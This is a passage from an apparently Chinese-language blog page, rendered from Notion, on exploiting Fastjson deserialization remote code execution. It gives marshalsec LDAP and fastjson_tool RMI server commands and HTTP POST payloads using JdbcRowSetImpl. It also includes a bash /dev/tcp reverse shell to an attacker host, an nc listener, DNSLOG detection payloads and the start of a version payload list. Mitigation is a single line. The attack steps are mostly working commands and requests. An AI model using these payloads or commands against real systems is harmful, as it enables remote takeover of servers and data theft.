4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4.开启ldap服务设置远程执行命令</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &lt;http://you-server-ip:28443/#Exploit&gt; 28448 Listening on 0.0.0.0:28448

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &lt;http://101.32.116.167:20443/#Object&gt; 20444 Listening on 0.0.0.0:20
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-aa21198c81be4acb8d66343dd4d028fa"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826172250.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-e4f92003f1194b64aca98e68a12a0c1c" data-id="e4f92003f1194b64aca98e68a12a0c1c"><span><div id="e4f92003f1194b64aca98e68a12a0c1c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e4f92003f1194b64aca98e68a12a0c1c" title="5.发送payload报文反弹shell"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.发送payload报文反弹shell</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">POST / HTTP/1.1
Host: you-attack.com
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: &lt;http://you-attack.com&gt;
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: &lt;http://you-attack.com/&gt;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{
    &quot;a&quot;: {
        &quot;@type&quot;: &quot;java.lang.Class&quot;,
        &quot;val&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;
    },
    &quot;b&quot;: {
        &quot;@type&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;,
        &quot;dataSourceName&quot;: &quot;ldap://you-server-ip:28448/Exploit.class&quot;,
        &quot;autoCommit&quot;: true
    }
}

</code></pre><blockquote class="notion-quote notion-block-134d9d89e80d42faa5f61d35eeda0693"><div>成功远程调用exp执行系统命令，反弹shell</div></blockquote><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-548c65d615354297b5c5892d5e500f91"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826172427.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c1abd4ab1d5a4332b56b89c8548395a7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826172547.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-d5274ae956074c0793a831eb646627db" data-id="d5274ae956074c0793a831eb646627db"><span><div id="d5274ae956074c0793a831eb646627db" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d5274ae956074c0793a831eb646627db" title="6.成功接收到shell"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.成功接收到shell</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-07c1f18e58ba4652a3016b6e1ca19714"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826172624.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-4289989f2acd482fbbf2f90e02e93db2" data-id="4289989f2acd482fbbf2f90e02e93db2"><span><div id="4289989f2acd482fbbf2f90e02e93db2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4289989f2acd482fbbf2f90e02e93db2" title="漏洞修复"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞修复</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">将fastjson升级到最新版本
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-665ac30b622d44aba803b0d2290b032f" data-id="665ac30b622d44aba803b0d2290b032f"><span><div id="665ac30b622d44aba803b0d2290b032f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#665ac30b622d44aba803b0d2290b032f" title="FASTJSON_TOOL一键GETSHELL（成功）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">FASTJSON_TOOL一键GETSHELL（成功）</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-6d989990b92e4a128356c50b2cf5b936" data-id="6d989990b92e4a128356c50b2cf5b936"><span><div id="6d989990b92e4a128356c50b2cf5b936" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6d989990b92e4a128356c50b2cf5b936" title="1.nc设置侦听端口"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1.nc设置侦听端口</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">nc -lvp 28447
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9ee86188ec28431a851121b45dd0895d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826111708.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-f40ce32ff5e747bcaddb674878f2231d" data-id="f40ce32ff5e747bcaddb674878f2231d"><span><div id="f40ce32ff5e747bcaddb674878f2231d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f40ce32ff5e747bcaddb674878f2231d" title="2.fastjson_tool设置执行命令"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.fastjson_tool设置执行命令</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">java -cp fastjson_tool.jar fastjson.HRMIServer you-server-ip 28444 &quot;bash=bash -i &gt;&amp;/dev/tcp/you-server-ip/28447 0&gt;&amp;1&quot;</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9709a39a2c39464d8fd34c5150afb663"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826110746.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-40a115c101ea4116a5ec3ade3bfef95e" data-id="40a115c101ea4116a5ec3ade3bfef95e"><span><div id="40a115c101ea4116a5ec3ade3bfef95e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#40a115c101ea4116a5ec3ade3bfef95e" title="3.发送报文反弹shell"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.发送报文反弹shell</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">POST / HTTP/1.1
Host: you-attack.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 121

{&quot;dr&quot;:{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi://you-server-ip:28444/Object&quot;,&quot;autoCommit&quot;:true}}
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1a9ae75115b24e47bd7bf5371017ff47"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826112130.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-2b2243c81fa9490cbf4271391f8ae529" data-id="2b2243c81fa9490cbf4271391f8ae529"><span><div id="2b2243c81fa9490cbf4271391f8ae529" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2b2243c81fa9490cbf4271391f8ae529" title="4.成功接受到shell"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4.成功接受到shell</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a26ccc30309a4a80ac03f97b47a0eb0e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826112209.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-ebc9660245d5471b88301afd48ade44f" data-id="ebc9660245d5471b88301afd48ade44f"><span><div id="ebc9660245d5471b88301afd48ade44f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ebc9660245d5471b88301afd48ade44f" title="漏洞检测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞检测</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-e7e0c79e7c7d4b38939caeef83c5ccb8" data-id="e7e0c79e7c7d4b38939caeef83c5ccb8"><span><div id="e7e0c79e7c7d4b38939caeef83c5ccb8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e7e0c79e7c7d4b38939caeef83c5ccb8" title="报错检测方法"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">报错检测方法</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-185630aa2f3d4254b10603d55b164ce8"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826140938.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-c3f2ef98d2f44713bbe48b902b02a413" data-id="c3f2ef98d2f44713bbe48b902b02a413"><span><div id="c3f2ef98d2f44713bbe48b902b02a413" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c3f2ef98d2f44713bbe48b902b02a413" title="DNSLOG检测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">DNSLOG检测</span></span></h4><blockquote class="notion-quote notion-block-52338946cbfa4043affd972f55d1dd26"><div>payload:</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;java.net.Inet4Address&quot;,&quot;val&quot;:&quot;lll55w.ceye.io&quot;}}

{&quot;dr&quot;:{&quot;@type&quot;:&quot;java.net.Inet6Address&quot;,&quot;val&quot;:&quot;lll55w.ceye.io&quot;}}</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f8f203103c7548ce852597eea854ba55"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826141244.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><blockquote class="notion-quote notion-block-3cbebef79c38419d95b8e9d04a70e421"><div>收到报文：</div></blockquote><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ad4bb17c2dd5465c97dac7f43b5df24e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826141313.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-f110c5cace63436ab7b3c593d9a01566" data-id="f110c5cace63436ab7b3c593d9a01566"><span><div id="f110c5cace63436ab7b3c593d9a01566" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f110c5cace63436ab7b3c593d9a01566" title="版本PAYLOAD集合"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">版本PAYLOAD集合</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-5b5b34805ada4a0b881fb675bde7004c" data-id="5b5b34805ada4a0b881fb675bde7004c"><span><div id="5b5b34805ada4a0b881fb675bde7004c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5b5b34805ada4a0b881fb675bde7004c" title="fastjson&lt;=1.2.24"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.24</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi://you-server-ip:28444/Object&quot;, &quot;autoCommit&quot;:true}}</code></pre><h4 class="notion-h notion-h3 